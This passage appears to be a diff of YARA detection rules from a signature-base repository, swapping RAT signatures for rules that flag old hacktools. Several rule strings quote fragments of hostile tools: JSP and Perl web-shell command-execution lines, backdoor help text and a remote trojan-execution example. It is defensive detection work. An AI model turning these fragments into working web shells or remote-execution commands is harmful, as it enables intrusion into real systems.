+		$s2 = "StopSniffer                           -->Stop Pass Sniffer" fullword ascii
+		$s3 = "TerminalPort Port                     -->Set New Terminal Port" fullword ascii
+		$s4 = "Example: Http://12.12.12.12/a.exe abc.exe" fullword ascii
+		$s6 = "Create Password Sniffering Thread Successfully. Status:Logging" fullword ascii
+		$s7 = "StartSniffer NIC                      -->Start Sniffer" fullword ascii
+		$s8 = "Shell                                 -->Get A Shell" fullword ascii
+		$s11 = "DeleteService ServiceName             -->Delete A Service" fullword ascii
+		$s12 = "Disconnect ThreadNumber|All           -->Disconnect Others" fullword ascii
+		$s13 = "Online                                -->List All Connected IP" fullword ascii
+		$s15 = "Getting The UserName(%c%s%c)-->ID(0x%s) Successfully" fullword ascii
+		$s16 = "Example: Set REG_SZ Test Trojan.exe" fullword ascii
+		$s18 = "Execute Program                       -->Execute A Program" fullword ascii
+		$s19 = "Reboot                                -->Reboot The System" fullword ascii
+		$s20 = "Password Sniffering Is Not Running" fullword ascii
 
 	condition:
-		7 of ($a*)
+		4 of them
 }
-rule SIGNATURE_BASE_RAT_Ap0Calypse
+import "pe"
+
+rule SIGNATURE_BASE_Sig_238_Cmd_2
 {
 	meta:
-		description = "Detects Ap0calypse RAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "a2993654-efa0-519b-b6f6-4d722d93adde"
-		date = "2014-01-04"
+		description = "Disclosed hacktool set (old stuff) - file cmd.jsp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "5fae3c4a-aeeb-5e02-9071-3980a39a19a9"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/Ap0calypse"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L50-L71"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1ce90a5b1b3f643d4e530d6e00741f5d5918d3199cfbc4126cf8421a9e42023e"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2071-L2088"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "be4073188879dacc6665b6532b03db9f87cfc2bb"
+		logic_hash = "a794d6b60194a190bd8d549ad00cf90649a52d831fdc7539c68a1f6312609bc2"
+		score = 60
 		quality = 85
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a = "Ap0calypse"
-		$b = "Sifre"
-		$c = "MsgGoster"
-		$d = "Baslik"
-		$e = "Dosyalars"
-		$f = "Injecsiyon"
+		$s0 = "Process child = Runtime.getRuntime().exec(" ascii
+		$s1 = "InputStream in = child.getInputStream();" fullword ascii
+		$s2 = "String cmd = request.getParameter(\"" ascii
+		$s3 = "while ((c = in.read()) != -1) {" fullword ascii
+		$s4 = "<%@ page import=\"java.io.*\" %>" fullword ascii
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_RAT_Arcom
+import "pe"
+
+rule SIGNATURE_BASE_Rangescan
 {
 	meta:
-		description = "Detects Arcom RAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "a0598340-c4a5-53f0-a810-63e37ec669a5"
-		date = "2014-01-04"
+		description = "Disclosed hacktool set (old stuff) - file RangeScan.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "143d9e1e-41e2-579a-beee-30da2cf068f7"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/Arcom"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L72-L93"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "dbccd9885ba0ec5741e3c74908d2e76b15836bc75373c100f344abf9bdf3a0b4"
-		score = 75
-		quality = 85
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2090-L2107"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "bace2c65ea67ac4725cb24aa9aee7c2bec6465d7"
+		logic_hash = "f334a59c2d95505807df642a8d5605b1b7d8b3385a552e8f5a37f344d7a75412"
+		score = 60
+		quality = 35
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a1 = "CVu3388fnek3W(3ij3fkp0930di"
-		$a2 = "ZINGAWI2"
-		$a3 = "clWebLightGoldenrodYellow"
-		$a4 = "Ancestor for '%s' not found" wide
-		$a5 = "Control-C hit" wide
-		$a6 = {A3 24 25 21}
+		$s0 = "RangeScan.EXE" fullword wide
+		$s4 = "<br><p align=\"center\"><b>RangeScan " fullword ascii
+		$s9 = "Produced by isn0" fullword ascii
+		$s10 = "RangeScan" fullword wide
+		$s20 = "%d-%d-%d %d:%d:%d" fullword ascii
 
 	condition:
-		all of them
+		3 of them
 }
-rule SIGNATURE_BASE_RAT_Bandook
+import "pe"
+
+rule SIGNATURE_BASE_Xyzcmd_Zip_Folder_Readme
 {
 	meta:
-		description = "Detects Bandook RAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "79fb99d8-bd56-5986-9917-e119b51b8303"
-		date = "2014-01-04"
+		description = "Disclosed hacktool set (old stuff) - file Readme.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "cee0f8c3-f947-50a5-ae8c-4ce83ef5e433"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/bandook"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L95-L120"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fe658e0990f0d456b1a8f5acea62a3b80bdd4a9bc0eedfe2e1092ea60b4fca2e"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2109-L2123"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "967cb87090acd000d22e337b8ce4d9bdb7c17f70"
+		logic_hash = "38d69eee78ff8fa2ad064871481bd1b8a926146922952c7e199d27c809d0c980"
+		score = 60
 		quality = 85
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a = "aaaaaa1|"
-		$b = "aaaaaa2|"
-		$c = "aaaaaa3|"
-		$d = "aaaaaa4|"
-		$e = "aaaaaa5|"
-		$f = "%s%d.exe"
-		$g = "astalavista"
-		$h = "givemecache"
-		$i = "%s\\system32\\drivers\\blogs\\*"
-		$j = "bndk13me"
+		$s3 = "3.xyzcmd \\\\RemoteIP /user:Administrator /pwd:1234 /nowait trojan.exe" fullword ascii
+		$s20 = "XYZCmd V1.0" fullword ascii
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_RAT_Blacknix
+import "pe"
+
+rule SIGNATURE_BASE_Bypassfirewall_Zip_Folder_Inject
 {
 	meta:
-		description = "Detects BlackNix RAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "d7814184-3ae4-53f1-a602-c3fbc02573c3"
-		date = "2014-01-04"
+		description = "Disclosed hacktool set (old stuff) - file Inject.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "bb31dc53-f3c1-5f8b-84f9-c231a4e1675b"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/BlackNix"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L122-L142"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "de8787fd35e6313c061b8759361698b1acd54b215d226839a8702b1a5d189ccb"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2125-L2140"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "34f564301da528ce2b3e5907fd4b1acb7cb70728"
+		logic_hash = "6350e11097bc2bb8fb0fbecf6be463aeaf39ad4169d2dd06a57577bf02b515f8"
+		score = 60
 		quality = 85
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a1 = "SETTINGS" wide
-		$a2 = "Mark Adler"
-		$a3 = "Random-Number-Here"
-		$a4 = "RemoteShell"
-		$a5 = "SystemInfo"
+		$s6 = "Fail To Inject" fullword ascii
+		$s7 = "BtGRemote Pro; V1.5 B/{" fullword ascii
+		$s11 = " Successfully" fullword ascii
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_RAT_Blackshades : BLACKSHADES
+import "pe"
+
+rule SIGNATURE_BASE_Sig_238_Sqlcmd
 {
 	meta:
-		description = "Detects BlackShades RAT"
-		author = "Brian Wallace (@botnet_hunter)"
-		id = "039f9efd-034d-5088-9a2f-7a63ad170d3d"
-		date = "2014-01-04"
+		description = "Disclosed hacktool set (old stuff) - file sqlcmd.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "0efdfac7-5a89-5251-b583-12b0a58c48ff"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://blog.cylance.com/a-study-in-bots-blackshades-net"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L144-L161"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "23f8d52cf92b594f9302d549cf54f37dc0a01b5686da74b72120a8072435abfe"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2142-L2161"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b6e356ce6ca5b3c932fa6028d206b1085a2e1a9a"
+		logic_hash = "1e41c38da7552d6a25c918547a39ed07ec38a537fd04e2090d1199c4fb0e3b1e"
+		score = 40
 		quality = 85
-		tags = "BLACKSHADES"
-		family = "blackshades"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$string1 = "bss_server"
-		$string2 = "txtChat"
-		$string3 = "UDPFlood"
+		$s0 = "Permission denial to EXEC command.:(" ascii
+		$s3 = "by Eyas<cooleyas@21cn.com>" fullword ascii
+		$s4 = "Connect to %s MSSQL server success.Enjoy the shell.^_^" fullword ascii
+		$s5 = "Usage: %s <host> <uid> <pwd>" fullword ascii
+		$s6 = "SqlCmd2.exe Inside Edition." fullword ascii
+		$s7 = "Http://www.patching.net  2000/12/14" fullword ascii
+		$s11 = "Example: %s 192.168.0.1 sa \"\"" fullword ascii
 
 	condition:
-		all of them
+		4 of them
 }
-rule SIGNATURE_BASE_RAT_Bluebanana
+import "pe"
+
+rule SIGNATURE_BASE_Aspack_ASPACK
 {
 	meta:
-		description = "Detects BlueBanana RAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "f00c7e92-f34c-5666-a1d9-02ac2cf7608c"
-		date = "2014-01-04"
+		description = "Disclosed hacktool set (old stuff) - file ASPACK.EXE"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ca9a25f9-a94b-5e10-b935-c6e2d38d999c"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/BlueBanana"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L163-L184"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0d84bb63d56d876c8b2e7c8c8afeaba839fee41d2d38f16ac9a13e802008179e"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2163-L2178"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c589e6fd48cfca99d6335e720f516e163f6f3f42"
+		logic_hash = "1c7abc0a126ee8c8b20e55ad85974067f1a230efc5f95a1a1e732025e39d5bab"
+		score = 60
 		quality = 85
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "Java"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$meta = "META-INF"
-		$conf = "config.txt"
-		$a = "a/a/a/a/f.class"
-		$b = "a/a/a/a/l.class"
-		$c = "a/a/a/b/q.class"
-		$d = "a/a/a/b/v.class"
+		$s0 = "ASPACK.EXE" fullword wide
+		$s5 = "CLOSEDFOLDER" fullword wide
+		$s10 = "ASPack compressor" fullword wide
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_RAT_Bozok
+import "pe"
+
+rule SIGNATURE_BASE_Sig_238_2323
 {
 	meta:
-		description = "Detects Bozok RAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "b1d22e8c-39aa-52e7-9ca8-2b35bb82f7de"
-		date = "2014-01-04"
+		description = "Disclosed hacktool set (old stuff) - file 2323.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "445f6a49-51e6-5eb8-ae08-e5989aafb6c4"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/Bozok"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L186-L206"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9a2fcd11573654f0c91c0c0dec8938ca8319a23953a5043135cb0032562f9f53"
-		score = 75
-		quality = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2180-L2198"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "21812186a9e92ee7ddc6e91e4ec42991f0143763"
+		logic_hash = "1278c53f64a0ba7f3f6a728237eac6808b260ad36551923276bfba9b36586870"
+		score = 60
+		quality = 85
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a = "getVer" nocase
-		$b = "StartVNC" nocase
-		$c = "SendCamList" nocase
-		$d = "untPlugin" nocase
-		$e = "gethostbyname" nocase
+		$s0 = "port - Port to listen on, defaults to 2323" fullword ascii
+		$s1 = "Usage: srvcmd.exe [/h] [port]" fullword ascii
+		$s3 = "Failed to execute shell" fullword ascii
+		$s5 = "/h   - Hide Window" fullword ascii
+		$s7 = "Accepted connection from client at %s" fullword ascii
+		$s9 = "Error %d: %s" fullword ascii
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_RAT_Clientmesh : TORCT
+import "pe"
+
+rule SIGNATURE_BASE_Jc_ALL_Wineggdropshell_Rar_Folder_Install_2
 {
 	meta:
-		description = "Detects ClientMesh RAT"
-		author = "Kevin Breen <kevin@techanarchy.net> (slightly modified by Florian Roth to improve performance)"
-		id = "351df33e-d3a1-5fe8-be38-edb43bc5d38f"
-		date = "2014-01-06"
+		description = "Disclosed hacktool set (old stuff) - file Install.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ebfc8e53-328c-5deb-bf9b-e0270f171c68"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/ClientMesh"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L208-L228"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "671da9586110726b1646d4365ccaa87982ec7c86b7d4d80b99dbb444496b936c"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2200-L2218"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "95866e917f699ee74d4735300568640ea1a05afd"
+		logic_hash = "9c12e8491918a656e37b4ee6c3a42ec970cb6cf101ca5fe3fdfe9eab16526219"
+		score = 60
 		quality = 85
-		tags = "TORCT"
-		family = "torct"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$string1 = "machinedetails"
-		$string2 = "MySettings"
-		$string3 = "sendftppasswords"
-		$string4 = "sendbrowserpasswords"
-		$string5 = "arma2keyMass"
-		$string6 = "keylogger"
+		$s1 = "http://go.163.com/sdemo" fullword wide
+		$s2 = "Player.tmp" fullword ascii
+		$s3 = "Player.EXE" fullword wide
+		$s4 = "mailto:sdemo@263.net" fullword ascii
+		$s5 = "S-Player.exe" fullword ascii
+		$s9 = "http://www.BaiXue.net (" wide
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_RAT_Cybergate
+import "pe"
+
+rule SIGNATURE_BASE_Sig_238_TFTPD32
 {
 	meta:
-		description = "Detects CyberGate RAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "387e7c89-c766-54cf-aac0-3ba03092bc25"
-		date = "2014-01-04"
+		description = "Disclosed hacktool set (old stuff) - file TFTPD32.EXE"
+		author = "Florian Roth (Nextron Systems)"
+		id = "071fba15-affe-539a-bcc0-c14943fff51a"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/CyberGate"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L230-L254"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6b3861ae5e6bd6478e9d8024b0e67a3ac1dbf31083b77477364c55b51d0ed9b5"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2220-L2241"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5c5f8c1a2fa8c26f015e37db7505f7c9e0431fe8"
+		logic_hash = "cbf239330f8f1fd8be3ef3c93571c723447ca3b814fb7c1eff5ea4b2e7f5364f"
+		score = 60
 		quality = 85
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$string1 = {23 23 23 23 40 23 23 23 23 E8 EE E9 F9 23 23 23 23 40 23 23 23 23}
-		$string2 = {23 23 23 23 40 23 23 23 23 FA FD F0 EF F9 23 23 23 23 40 23 23 23 23}
-		$string3 = "EditSvr"
-		$string4 = "TLoader"
-		$string5 = "Stroks"
-		$string6 = "####@####"
-		$res1 = "XX-XX-XX-XX"
-		$res2 = "CG-CG-CG-CG"
+		$s0 = " http://arm.533.net" fullword ascii
+		$s1 = "Tftpd32.hlp" fullword ascii
+		$s2 = "Timeouts and Ports should be numerical and can not be 0" fullword ascii
+		$s3 = "TFTPD32 -- " fullword wide
+		$s4 = "%d -- %s" fullword ascii
+		$s5 = "TIMEOUT while waiting for Ack block %d. file <%s>" fullword ascii
+		$s12 = "TftpPort" fullword ascii
+		$s13 = "Ttftpd32BackGround" fullword ascii
+		$s17 = "SOFTWARE\\TFTPD32" fullword ascii
 
 	condition:
-		all of ($string*) and any of ($res*)
+		all of them
 }
-rule SIGNATURE_BASE_RAT_Darkcomet
+import "pe"
+
+rule SIGNATURE_BASE_Sig_238_Iecv
 {
 	meta:
-		description = "Detects DarkComet RAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "e6fd0269-dd0c-58c0-a1a3-24c2aed916ee"
-		date = "2014-01-04"
+		description = "Disclosed hacktool set (old stuff) - file iecv.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "08126db3-267b-5289-b562-40bc264f6e3e"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/DarkComet"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L256-L282"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "db139f754f89affc706e090a41bfcd30cf49f9d4e16ade89993ee170f92cf68b"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2243-L2260"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6e6e75350a33f799039e7a024722cde463328b6d"
+		logic_hash = "e2985d85030d88cb63eb8b80673812f85aea6e11c6aeb430387cdb8886958b6a"
+		score = 60
 		quality = 85
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a1 = "#BOT#URLUpdate"
-		$a2 = "Command successfully executed!"
-		$a3 = "MUTEXNAME" wide
-		$a4 = "NETDATA" wide
-		$b1 = "FastMM Borland Edition"
-		$b2 = "%s, ClassID: %s"
-		$b3 = "I wasn't able to open the hosts file"
-		$b4 = "#BOT#VisitUrl"
-		$b5 = "#KCMDDC"
+		$s1 = "Edit The Content Of Cookie " fullword wide
+		$s3 = "Accessories\\wordpad.exe" fullword ascii
+		$s4 = "gorillanation.com" fullword ascii
+		$s5 = "Before editing the content of a cookie, you should close all windows of Internet" ascii
+		$s12 = "http://nirsoft.cjb.net" fullword ascii
 
 	condition:
-		all of ($a*) or all of ($b*)
+		all of them
 }
-rule SIGNATURE_BASE_RAT_Darkrat
+import "pe"
+
+rule SIGNATURE_BASE_Antiy_Ports_1_21
 {
 	meta:
-		description = "Detects DarkRAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "8283236a-6ed1-5213-8386-a029867b9677"
-		date = "2014-01-04"
+		description = "Disclosed hacktool set (old stuff) - file Antiy Ports 1.21.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "eb53fc91-4dec-5416-a2c7-1e8256297886"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/DarkRAT"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L284-L306"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "dccb473a3cf4478dd1dbf8b35ad564f59740676ecde90266a0dc15cbad89bfe7"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2262-L2277"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ebf4bcc7b6b1c42df6048d198cbe7e11cb4ae3f0"
+		logic_hash = "fb175c413faf0ca33cf166029b217aac31126d6cabc81883c16b2de2ab00c16c"
+		score = 60
 		quality = 85
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a = "@1906dark1996coder@"
-		$b = "SHEmptyRecycleBinA"
-		$c = "mciSendStringA"
-		$d = "add_Shutdown"
-		$e = "get_SaveMySettingsOnExit"
-		$f = "get_SpecialDirectories"
-		$g = "Client.My"
+		$s0 = "AntiyPorts.EXE" fullword wide
+		$s7 = "AntiyPorts MFC Application" fullword wide
+		$s20 = " @Stego:" fullword ascii
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_RAT_Greame
+import "pe"
+
+rule SIGNATURE_BASE_Perlcmd_Zip_Folder_Cmd
 {
 	meta:
-		description = "Detects Greame RAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "b90d3747-407a-5552-971f-78ff78f827a6"
-		date = "2014-01-04"
+		description = "Disclosed hacktool set (old stuff) - file cmd.cgi"
+		author = "Florian Roth (Nextron Systems)"
+		id = "19e4eca0-bd56-57af-afd2-ee2fc5c7c0df"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/Greame"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L308-L331"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4a1ce5f5847bdc01d286c1d9cd1e16ba2fd6b5bc56e6094cb1492882708e8e59"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2279-L2299"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "21b5dc36e72be5aca5969e221abfbbdd54053dd8"
+		logic_hash = "4391207d66b7ed5ac2db127d3efcf22f8c2bbd0ee1f0c6982d656b91e5e10c8f"
+		score = 60
 		quality = 85
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a = {23 23 23 23 40 23 23 23 23 E8 EE E9 F9 23 23 23 23 40 23 23 23 23}
-		$b = {23 23 23 23 40 23 23 23 23 FA FD F0 EF F9 23 23 23 23 40 23 23 23 23}
-		$c = "EditSvr"
-		$d = "TLoader"
-		$e = "Stroks"
-		$f = "Avenger by NhT"
-		$g = "####@####"
-		$h = "GREAME"
+		$s0 = "syswrite(STDOUT, \"Content-type: text/html\\r\\n\\r\\n\", 27);" fullword ascii
+		$s1 = "s/%20/ /ig;" fullword ascii
+		$s2 = "syswrite(STDOUT, \"\\r\\n</PRE></HTML>\\r\\n\", 17);" fullword ascii
+		$s4 = "open(STDERR, \">&STDOUT\") || die \"Can't redirect STDERR\";" fullword ascii
+		$s5 = "$_ = $ENV{QUERY_STRING};" fullword ascii
+		$s6 = "$execthis = $_;" fullword ascii
+		$s7 = "system($execthis);" fullword ascii
+		$s12 = "s/%2f/\\//ig;" fullword ascii
 
 	condition:
-		all of them
+		6 of them
 }
-rule SIGNATURE_BASE_RAT_Hawkeye
+import "pe"
+
+rule SIGNATURE_BASE_Aspbackdoor_Asp3
 {
 	meta:
-		description = "Detects HawkEye RAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "22b1d1e6-feea-5f84-9564-326ad80bbd8d"
-		date = "2015-01-06"
+		description = "Disclosed hacktool set (old stuff) - file asp3.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ed86e829-449b-5088-a105-f1fe79547540"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/HawkEye"
